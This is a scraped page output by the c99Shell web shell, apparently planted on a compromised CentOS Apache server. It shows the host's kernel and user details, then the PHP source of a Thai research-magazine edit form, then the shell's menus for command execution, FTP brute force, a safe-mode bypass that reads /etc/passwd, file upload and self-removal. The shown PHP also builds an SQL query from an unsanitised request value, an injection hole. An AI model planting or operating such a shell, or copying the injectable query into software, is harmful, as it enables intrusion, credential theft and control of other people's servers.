!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditMag.php (4.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
ConnectDB();
 
$sql  "Select * From magazine_tb Where code_mag='$code_mag'";
  
$result mysql_query($sql);
  
$row mysql_fetch_array($result);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<table width="841" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="841" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Edu_Menu.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="SearchRes.php">ค้นหางานวิจัย</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /> รายชื่อข้อมูลงานวิจัย</font></legend>
            <label>
  <form id="form1" name="form1" method="post" action="EditMag.php">
    <table width="77%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699">
      <tr bgcolor="#F4FDC6">
        <td colspan="3"><div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">แก้ไข </font><font color="#003366" size="4" face="Tahoma">ข้อมูลวารสาร</font></strong></div></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td width="26%"><div align="center"><font color="#000066" size="2" face="Tahoma">ชื่อวารสาร</font></div></td>
        <td width="2%" bordercolor="#006699">&nbsp;</td>
        <td width="72%" bordercolor="#006699"><input name="Magazine_name" type="text" class="input" id="Magazine_name" value="<? echo $row[Magazine_name]?>" size="60" />
            <font color="#000066" size="2" face="Tahoma">&nbsp; </font></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td><div align="center"><font color="#003366" size="2" face="Tahoma">ประเภท</font></div></td>
        <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp;</font></td>
        <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">
          <input type="radio" name="Magazine_type" <?php if (!(strcmp("$row[Magazine_type]","บทความวิชาการ"))) {echo "checked";} ?> value="บทความวิชาการ" />
          บทความวิชาการ
          <input type="radio" name="Magazine_type" <?php if (!(strcmp("$row[Magazine_type]","งานวิจัย"))) {echo "checked";} ?> value="งานวิจัย" />
          งานวิจัย
          <input type="radio" name="Magazine_type" <?php if (!(strcmp("$row[Magazine_type]","บทความทั่วไป"))) {echo "checked";} ?> value="บทความทั่วไป" />
          บทความทั่วไป </font></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td><div align="center"><font color="#000066" size="2" face="Tahoma">เล่มที่</font></div></td>
        <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">&nbsp;</font></td>
        <td bordercolor="#006699"><font color="#003366" size="2" face="Tahoma">
          <input name="Vol" type="text" class="input" id="Vol" value="<? echo $row[Vol]?>" size="10" />
          เดิอน
          <select name="Month" id="Month">
            <? $row[Month];getThaiMonth();?>
          </select>
          ปีที่
          <input name="Year" type="text" id="Year" value="<? echo $row[Year]?>" size="10" class="input" />
        </font></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td><div align="center"><font color="#003366" size="2" face="Tahoma">บทความโดยย่อ</font></div></td>
        <td bordercolor="#006699">&nbsp;</td>
        <td bordercolor="#006699"><textarea name="Ex_article" cols="50" rows="5" id="Ex_article"><? echo $row[Ex_article]?></textarea></td>
      </tr>
      <tr bgcolor="#eeeeee">
        <td><div align="center"><font color="#003366" size="2" face="Tahoma">ผู้เขียน</font></div></td>
        <td bordercolor="#006699">&nbsp;</td>
        <td bordercolor="#006699"><input name="Author" type="text" id="Author" value="<? echo $row[Author]?>" size="50" /></td>
      </tr>
      <tr bgcolor="#F4FDC6">
        <td colspan="3"><div align="center">
            <input type="hidden" name="code_mag" value=" <? echo $row[code_mag]?>" />
            <input type="submit" name="Submit" value="    บันทึก    " />
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
          <input type="reset" name="Submit22" value="   เคลียร์   " />
        </div></td>
      </tr>
    </table>
  </form>
          </fieldset>
        <br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0132 ]--